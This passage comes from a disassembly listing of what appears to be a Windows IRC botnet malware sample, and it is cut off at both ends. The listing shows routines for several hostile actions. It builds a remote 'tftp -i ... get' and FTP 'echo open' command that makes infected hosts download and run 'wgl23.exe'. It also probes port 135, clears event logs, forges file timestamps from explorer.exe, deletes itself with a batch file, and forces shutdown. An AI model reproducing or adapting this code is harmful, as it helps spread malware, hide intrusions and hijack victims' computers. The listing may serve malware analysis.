ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_43D4C0 loc_4189B6: ; CODE XREF: sub_418688+30Ej call __ftol test eax, eax jnz short loc_4189D9 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43D4A0 call __ftol mov cl, 30h jmp short loc_4189F6 ; --------------------------------------------------------------------------- loc_4189D9: ; CODE XREF: sub_418688+335j cmp eax, 1 jnz short loc_418A00 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43D4B0 call __ftol mov cl, 41h loc_4189F6: ; CODE XREF: sub_418688+34Fj sub cl, al mov [ebp+esi+Dst], cl inc esi mov [ebp+var_4], esi loc_418A00: ; CODE XREF: sub_418688+2F2j ; sub_418688+354j cmp [ebp+Count], 2 jge short loc_418A80 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_43D4C0 call __ftol cmp eax, 1 jnz short loc_418A80 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43D4A0 call __ftol mov cl, 30h sub cl, al mov [ebp+esi+Dst], cl call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43D498 call __ftol cmp eax, 1 jnz short loc_418A80 cmp [ebp+Count], eax jge short loc_418A80 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43D490 call __ftol mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_418A80: ; CODE XREF: sub_418688+1B1j ; sub_418688+37Cj ... lea eax, [ebp+Dst] push 14h ; Count push eax ; Source push [ebp+Dest] ; Dest call _strncpy mov eax, [ebp+Dest] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_418688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418A99(int,int,void *Buf2,size_t Size) sub_418A99 proc near ; CODE XREF: .text:00418BF6p ; .text:00418C1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Buf2 = dword ptr 10h Size = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+Size] test edi, edi jle short loc_418AC7 loc_418AAA: ; CODE XREF: sub_418A99+2Cj push [ebp+Size] ; Size mov eax, [ebp+arg_0] add eax, esi push [ebp+Buf2] ; Buf2 push eax ; Buf1 call _memcmp add esp, 0Ch test eax, eax jz short loc_418ACD inc esi cmp esi, edi jl short loc_418AAA loc_418AC7: ; CODE XREF: sub_418A99+Fj xor al, al loc_418AC9: ; CODE XREF: sub_418A99+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_418ACD: ; CODE XREF: sub_418A99+27j mov al, 1 jmp short loc_418AC9 sub_418A99 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 2010h call __alloca_probe mov eax, [ebp+0Ch] push esi dec eax push edi jz short loc_418B12 dec eax jz short loc_418AF0 dec eax loc_418AEA: ; CODE XREF: .text:00418B28j xor eax, eax loc_418AEC: ; CODE XREF: .text:00418B10j ; .text:00418C3Aj pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_418AF0: ; CODE XREF: .text:00418AE7j push 3 push 1388h push dword ptr [ebp+8] call dword_4E4260 ; inet_addr push eax call sub_40C71F add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_418AEC ; --------------------------------------------------------------------------- loc_418B12: ; CODE XREF: .text:00418AE4j push 6 push 1 push 2 call dword_4E42A0 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+0Ch], esi jz short loc_418AEA push ebx xor ebx, ebx push 10h lea eax, [ebp-10h] push ebx push eax call _memset add esp, 0Ch mov word ptr [ebp-10h], 2 push 87h call dword_4E4220 ; htons push dword ptr [ebp+8] mov [ebp-0Eh], ax call sub_40AE8D pop ecx mov [ebp-0Ch], eax lea eax, [ebp-10h] push 10h push eax push esi call dword_4E41C8 ; connect cmp eax, edi jz loc_418C2E push ebx push 48h push offset dword_450C48 push esi call dword_4E4270 ; send cmp eax, edi jz loc_418C2E mov esi, 2000h push ebx lea eax, [ebp-2010h] push esi push eax push dword ptr [ebp+0Ch] call dword_4E4238 ; recv cmp eax, edi jz loc_418C2E cmp byte ptr [ebp-200Eh], 0Ch jnz short loc_418C2E push ebx push 18h push offset dword_450C94 push dword ptr [ebp+0Ch] call dword_4E4270 ; send cmp eax, edi jz short loc_418C2E push ebx lea eax, [ebp-2010h] push esi push eax push dword ptr [ebp+0Ch] call dword_4E4238 ; recv mov esi, eax cmp esi, edi jz short loc_418C2E cmp byte ptr [ebp-200Eh], 2 jnz short loc_418C2E push 10h push offset dword_450CB0 lea eax, [ebp-2010h] push esi push eax call sub_418A99 add esp, 10h test al, al jz short loc_418C0E cmp esi, 12Ch setnl bl inc ebx jmp short loc_418C2E ; --------------------------------------------------------------------------- loc_418C0E: ; CODE XREF: .text:00418C00j push 10h push offset dword_450CC4 lea eax, [ebp-2010h] push esi push eax call sub_418A99 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_418C2E: ; CODE XREF: .text:00418B6Cj ; .text:00418B83j ... push dword ptr [ebp+0Ch] call dword_4E42B8 ; closesocket mov eax, ebx pop ebx jmp loc_418AEC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418C3F(char *Src,char *SubStr,char *Source) sub_418C3F proc near ; CODE XREF: sub_401CC7+BB8p ; sub_401CC7+BF5p ... Src = dword ptr 8 SubStr = dword ptr 0Ch Source = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+Src] xor esi, esi cmp edi, esi jz short loc_418CCA mov eax, [ebp+SubStr] cmp eax, esi jz short loc_418CCA cmp [ebp+Source], esi jz short loc_418CCA cmp byte ptr [eax], 0 jz short loc_418CCA push ebx push edi ; Src call __strdup mov ebx, eax pop ecx test ebx, ebx jz short loc_418CC5 push [ebp+SubStr] ; SubStr push edi ; Str call _strstr mov esi, eax pop ecx test esi, esi pop ecx jz short loc_418CBE sub eax, edi push eax ; Count push edi ; Source push ebx ; Dest call _strncpy push [ebp+Source] ; Str mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call _strlen push eax ; Count push [ebp+Source] ; Source push ebx ; Dest call _strncat push [ebp+SubStr] ; Str call _strlen add eax, esi push eax ; Source push ebx ; Dest call _strcat push ebx ; Source push edi ; Dest call _strcpy add esp, 30h mov esi, edi loc_418CBE: ; CODE XREF: sub_418C3F+3Cj push ebx ; Memory call _free pop ecx loc_418CC5: ; CODE XREF: sub_418C3F+2Bj mov eax, esi pop ebx jmp short loc_418CCC ; --------------------------------------------------------------------------- loc_418CCA: ; CODE XREF: sub_418C3F+Cj ; sub_418C3F+13j ... xor eax, eax loc_418CCC: ; CODE XREF: sub_418C3F+89j pop edi pop esi pop ebp retn sub_418C3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418CD0(char *Str,int) sub_418CD0 proc near ; CODE XREF: sub_401B4F+E9p ; sub_410CB5+F4p Dst = dword ptr -7D0h var_7CC = byte ptr -7CCh Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset mov esi, [ebp+Str] push esi ; Str call _strlen add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_418D06 or eax, 0FFFFFFFFh jmp short loc_418D79 ; --------------------------------------------------------------------------- loc_418D06: ; CODE XREF: sub_418CD0+2Fj xor ecx, ecx mov [ebp+Dst], esi test eax, eax jle short loc_418D28 loc_418D12: ; CODE XREF: sub_418CD0+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_418D1F cmp dl, 0Dh jnz short loc_418D23 loc_418D1F: ; CODE XREF: sub_418CD0+48j and byte ptr [ecx+esi], 0 loc_418D23: ; CODE XREF: sub_418CD0+4Dj inc ecx cmp ecx, eax jl short loc_418D12 loc_418D28: ; CODE XREF: sub_418CD0+40j xor edx, edx push edi test eax, eax jle short loc_418D59 lea edi, [ebp+var_7CC] loc_418D35: ; CODE XREF: sub_418CD0+87j cmp byte ptr [edx+esi], 0 jnz short loc_418D54 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418D54 cmp ebx, 1F4h jge short loc_418D59 mov [edi], ecx inc ebx add edi, 4 loc_418D54: ; CODE XREF: sub_418CD0+69j ; sub_418CD0+74j inc edx cmp edx, eax jl short loc_418D35 loc_418D59: ; CODE XREF: sub_418CD0+5Dj ; sub_418CD0+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418D77 lea eax, [ebp+Dst] push 7D0h ; Size push eax ; Src push [ebp+arg_4] ; Dst call _memcpy add esp, 0Ch loc_418D77: ; CODE XREF: sub_418CD0+8Ej mov eax, ebx loc_418D79: ; CODE XREF: sub_418CD0+34j pop esi pop ebx leave retn sub_418CD0 endp ; =============== S U B R O U T I N E ======================================= sub_418D7D proc near ; CODE XREF: sub_418DD7+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418DB6 push ebx mov ebx, edi loc_418D9A: ; CODE XREF: sub_418D7D+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418DB9 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418D9A pop ebx loc_418DB6: ; CODE XREF: sub_418D7D+18j pop edi pop esi retn sub_418D7D endp ; =============== S U B R O U T I N E ======================================= sub_418DB9 proc near ; CODE XREF: sub_418D7D+25p ; sub_418DD7+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax ; C call _tolower ; _tolower cmp al, 61h pop ecx jl short loc_418DD4 cmp al, 7Ah jg short loc_418DD4 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418DD4: ; CODE XREF: sub_418DB9+Ej ; sub_418DB9+12j xor eax, eax retn sub_418DB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418DD7(char *Str,int) sub_418DD7 proc near ; CODE XREF: .text:00415D80p ; .text:00415E05p ... var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call __alloca_probe push ebx push esi push edi push [ebp+Str] ; Str call _strlen push [ebp+arg_4] ; Str mov [ebp+var_4], eax call _strlen mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418D7D add esp, 14h dec esi mov edi, esi loc_418E15: ; CODE XREF: sub_418DD7+B6j test esi, esi jle short loc_418E93 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax ; C call _tolower ; _tolower mov ebx, eax mov eax, [ebp+Str] movsx eax, byte ptr [edi+eax] push eax ; C call _tolower ; _tolower pop ecx cmp eax, ebx pop ecx jz short loc_418E8B loc_418E3B: ; CODE XREF: sub_418DD7+B2j mov ebx, [ebp+Str] mov al, [edi+ebx] push eax call sub_418DB9 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418E5C mov eax, ecx loc_418E5C: ; CODE XREF: sub_418DD7+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_418E8F mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax ; C call _tolower ; _tolower mov edx, eax movsx eax, byte ptr [edi+ebx] push eax ; C mov [ebp+var_8], edx call _tolower ; _tolower pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418E3B loc_418E8B: ; CODE XREF: sub_418DD7+62j dec edi dec esi jmp short loc_418E15 ; --------------------------------------------------------------------------- loc_418E8F: ; CODE XREF: sub_418DD7+8Aj xor eax, eax jmp short loc_418E98 ; --------------------------------------------------------------------------- loc_418E93: ; CODE XREF: sub_418DD7+40j mov eax, [ebp+Str] add eax, edi loc_418E98: ; CODE XREF: sub_418DD7+BAj pop edi pop esi pop ebx leave retn sub_418DD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E9D proc near ; CODE XREF: sub_401CC7+68F5p ; sub_401CC7+79F6p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_4F6394 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call ds:dword_4F6460 ; FormatMessageA lea eax, [ebp+var_100] loc_418ED6: ; CODE XREF: sub_418E9D+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418EE2 cmp cl, 9 jnz short loc_418EE5 loc_418EE2: ; CODE XREF: sub_418E9D+3Ej inc eax jmp short loc_418ED6 ; --------------------------------------------------------------------------- loc_418EE5: ; CODE XREF: sub_418E9D+43j ; sub_418E9D+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_418EFF mov cl, [eax] cmp cl, 2Eh jz short loc_418EE5 cmp cl, 21h jl short loc_418EE5 loc_418EFF: ; CODE XREF: sub_418E9D+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset byte_4F3ABC push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h ; Count push esi ; Dest call __snprintf add esp, 18h mov eax, esi pop esi leave retn sub_418E9D endp ; =============== S U B R O U T I N E ======================================= sub_418F27 proc near ; CODE XREF: sub_401CC7+248Ap push esi push 0 call dword_4E41F0 ; OpenClipboard test eax, eax jz short loc_418F5E push 1 call dword_4E4210 ; GetClipboardData mov esi, eax test esi, esi jz short loc_418F5E push edi push esi call ds:dword_4F6468 ; GlobalLock push esi mov edi, eax call ds:dword_4F6464 ; GlobalUnlock call dword_4E4274 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_418F5E: ; CODE XREF: sub_418F27+Bj ; sub_418F27+19j xor eax, eax pop esi retn sub_418F27 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_418F62(char *Format) sub_418F62 proc near ; CODE XREF: sub_401CC7+77BAp Format = dword ptr 4 push ebp push esi xor esi, esi push esi push offset aMirc_2 ; "mIRC" call dword_4E422C ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_418FE2 push ebx push edi push offset aMirc_3 ; "mIRC" push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:dword_4F6474 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call ds:dword_4F6470 ; MapViewOfFile push [esp+10h+Format] ; Format mov ebx, eax push ebx ; Dest call _sprintf pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4E427C ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4E427C ; SendMessageA push ebx call ds:dword_4F646C ; UnmapViewOfFile push edi call ds:dword_4F6370 ; CloseHandle push 1 pop eax pop edi pop ebx jmp short loc_418FE4 ; --------------------------------------------------------------------------- loc_418FE2: ; CODE XREF: sub_418F62+14j xor eax, eax loc_418FE4: ; CODE XREF: sub_418F62+7Ej pop esi pop ebp retn sub_418F62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FE7 proc near ; CODE XREF: WinMain(x,x,x,x)+212p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4E42DC ; SearchPathA test eax, eax jz short loc_419086 mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_4F63F4 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_419086 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_4F647C ; GetFileTime push ebx mov ebx, ds:dword_4F6370 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_419086 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_4F6478 ; SetFileTime push esi call ebx ; CloseHandle loc_419086: ; CODE XREF: sub_418FE7+2Aj ; sub_418FE7+51j ... pop edi pop esi pop ebx leave retn sub_418FE7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 454h push esi xor esi, esi push 10h lea eax, [ebp-10h] push esi push eax call _memset push 44h lea eax, [ebp-54h] push esi push eax call _memset add esp, 18h lea eax, [ebp-454h] mov dword ptr [ebp-54h], 44h mov dword ptr [ebp-28h], 1 push dword ptr [ebp+0Ch] mov [ebp-24h], si push dword ptr [ebp+8] push offset aSS_11 ; "%s %s" push 400h push eax call __snprintf add esp, 14h lea eax, [ebp-10h] push eax lea eax, [ebp-54h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-454h] push esi push eax push dword ptr [ebp+8] call ds:dword_4F6374 ; CreateProcessA neg eax sbb eax, eax pop esi and eax, [ebp-8] leave retn ; =============== S U B R O U T I N E ======================================= sub_41910C proc near ; CODE XREF: sub_401CC7+1672p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41A556 pop ecx pop ecx push 50005h push 6 call dword_4E4160 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_41910C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41912E proc near ; CODE XREF: sub_401CC7+2746p ; sub_416F9A+472p Str = byte ptr -764h var_364 = byte ptr -364h Dest = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h Dst = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_44008C, esi push edi jz short loc_419152 cmp dword_4E42F0, esi jnz short loc_419152 push esi ; Str call sub_401000 pop ecx loc_419152: ; CODE XREF: sub_41912E+13j ; sub_41912E+1Bj call sub_40B957 lea eax, [ebp+Str] push eax push 400h call ds:dword_4F63B8 ; GetTempPathA lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset aSdel_bat ; "%sdel.bat" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_4F63F4 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_4192B2 lea eax, [ebp+Dest] push eax lea eax, [ebp+Str] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push edi call ds:dword_4F63E8 ; WriteFile push edi call ds:dword_4F6370 ; CloseHandle push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_58] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_4F3CC0 mov [ebp+var_2C], 1 mov [ebp+var_28], si call ds:dword_4F63A4 ; GetModuleHandleA push eax call ds:dword_4F6378 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call ds:dword_4F63A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_41925A lea eax, [ebp+var_15C] push 80h push eax call ds:dword_4F639C ; SetFileAttributesA loc_41925A: ; CODE XREF: sub_41912E+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Str] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+Str] push eax call ds:dword_4F6480 ; ExpandEnvironmentStringsA lea eax, [ebp+Dst] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call ds:dword_4F6374 ; CreateProcessA loc_4192B2: ; CODE XREF: sub_41912E+72j pop edi pop esi leave retn sub_41912E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4192B6(int,char *Str,int,int,int) sub_4192B6 proc near ; CODE XREF: sub_401CC7+7389p Dest = byte ptr -294h Dst = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] mov [ebp+Dst], 94h push eax call ds:dword_4F63D0 ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_41934C push [ebp+arg_10] push [ebp+arg_C] call dword_4E41A0 ; OpenEventLogA push edi push eax call dword_4E41B0 ; ClearEventLogA test eax, eax jz short loc_41933E push [ebp+arg_10] push offset asc_450D90 ; "-" loc_419317: ; CODE XREF: sub_4192B6+94j lea eax, [ebp+Dest] push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h jmp short loc_419376 ; --------------------------------------------------------------------------- loc_41933E: ; CODE XREF: sub_4192B6+57j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_450DAC jmp short loc_419317 ; --------------------------------------------------------------------------- loc_41934C: ; CODE XREF: sub_4192B6+3Fj lea eax, [ebp+Dest] push offset asc_450DD4 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 1Ch loc_419376: ; CODE XREF: sub_4192B6+86j pop edi leave retn sub_4192B6 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call _memset add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-10h], 2 push eax call dword_4E4260 ; inet_addr push dword ptr [ebp+0C4h] mov [ebp-0Ch], eax call dword_4E4220 ; htons push edi push 1 push 2 mov [ebp-0Eh], ax call dword_4E42A0 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+0C4h], esi jz loc_41947C lea eax, [ebp-10h] push 10h push eax push esi call dword_4E41C8 ; connect cmp eax, 0FFFFFFFFh jz loc_41947C mov ebx, 400h push edi lea eax, [ebp-5A0h] push ebx push eax push esi call dword_4E4238 ; recv mov esi, offset Str ; "wgl23.exe" push esi push esi push dword ptr [ebp+8] call sub_40AFA9 pop ecx mov edi, 190h push eax push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n" lea eax, [ebp-1A0h] push edi push eax call __snprintf movzx eax, word ptr dword_4E3F28 add esp, 18h push esi push esi push eax push dword ptr [ebp+8] call sub_40AFA9 pop ecx push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp-1A0h] push edi push eax call __snprintf add esp, 1Ch lea eax, [ebp-1A0h] push 0 push eax call _strlen pop ecx push eax lea eax, [ebp-1A0h] push eax push dword ptr [ebp+0C4h] call dword_4E4270 ; send cmp eax, 0FFFFFFFFh jnz short loc_419480 loc_41947C: ; CODE XREF: .text:004193CFj ; .text:004193E5j xor al, al jmp short loc_4194A4 ; --------------------------------------------------------------------------- loc_419480: ; CODE XREF: .text:0041947Aj push 0 lea eax, [ebp-5A0h] push ebx push eax push dword ptr [ebp+0C4h] call dword_4E4238 ; recv push dword ptr [ebp+0C4h] call dword_4E42B8 ; closesocket mov al, 1 loc_4194A4: ; CODE XREF: .text:0041947Ej pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4194A9(char *Source,int,int) sub_4194A9 proc near ; CODE XREF: sub_401CC7+574Cp Dest = word ptr -1C0h var_15C = byte ptr -15Ch Str = word ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h Source = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call ds:dword_4F63D0 ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_4194FF cmp [ebp+var_8C], 0 jnz short loc_4194E8 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4194FF leave retn ; --------------------------------------------------------------------------- loc_4194E8: ; CODE XREF: sub_4194A9+30j cmp [ebp+var_8C], 0Ah jz short loc_4194FA cmp [ebp+var_8C], 5Ah jnz short loc_4194FF loc_4194FA: ; CODE XREF: sub_4194A9+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4194FF: ; CODE XREF: sub_4194A9+27j ; sub_4194A9+3Bj ... push esi push edi push offset aNetapi32_dll_0 ; "netapi32.dll" call ds:dword_4F63C0 ; LoadLibraryA mov esi, eax push offset aNetmessagebu_0 ; "NetMessageBufferSend" push esi call ds:dword_4F63C4 ; GetProcAddress push 32h ; MaxCount mov edi, eax push [ebp+Source] ; Source lea eax, [ebp+Dest] push eax ; Dest call _mbstowcs push 32h ; MaxCount lea eax, [ebp+var_15C] push [ebp+arg_4] ; Source push eax ; Dest call _mbstowcs push 32h ; MaxCount lea eax, [ebp+Str] push [ebp+arg_8] ; Source push eax ; Dest call _mbstowcs lea eax, [ebp+Str] push eax ; Str call _wcslen shl eax, 1 push eax lea eax, [ebp+Str] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+Dest] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch mov edi, eax push esi call ds:dword_4F6440 ; FreeLibrary mov eax, edi pop edi pop esi leave retn sub_4194A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419589 proc near ; CODE XREF: sub_401317+F7p ; sub_40F181+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand pop ecx call _rand mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_43D4D8 call __ftol sub esi, eax mov eax, esi pop esi leave retn sub_419589 endp ; =============== S U B R O U T I N E ======================================= sub_4195C6 proc near ; CODE XREF: sub_401CC7+463Ep ; sub_401CC7+4692p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41961E lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_450EA8[esi] push edi push eax call sub_419640 add esp, 14h test eax, eax jnz short loc_41960E push edi push off_450EA4[esi] push offset asc_450F68 ; "-" loc_4195FE: ; CODE XREF: sub_4195C6+56j mov esi, offset byte_4F4384 push esi ; Dest call _sprintf add esp, 10h jmp short loc_41963B ; --------------------------------------------------------------------------- loc_41960E: ; CODE XREF: sub_4195C6+2Aj push eax call sub_4196E2 pop ecx push eax push edi push offset unk_450F84 jmp short loc_4195FE ; --------------------------------------------------------------------------- loc_41961E: ; CODE XREF: sub_4195C6+Cj lea eax, [eax+eax*2] mov esi, offset byte_4F4384 push off_450EA0[eax*4] push offset asc_450FB0 ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_41963B: ; CODE XREF: sub_4195C6+46j mov eax, esi pop edi pop esi retn sub_4195C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419640 proc near ; CODE XREF: sub_4195C6+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4E4214 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_419667 call ds:dword_4F6394 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_4196DC ; --------------------------------------------------------------------------- loc_419667: ; CODE XREF: sub_419640+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4E40FC ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_419687 call ds:dword_4F6394 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_4196D4 ; --------------------------------------------------------------------------- loc_419687: ; CODE XREF: 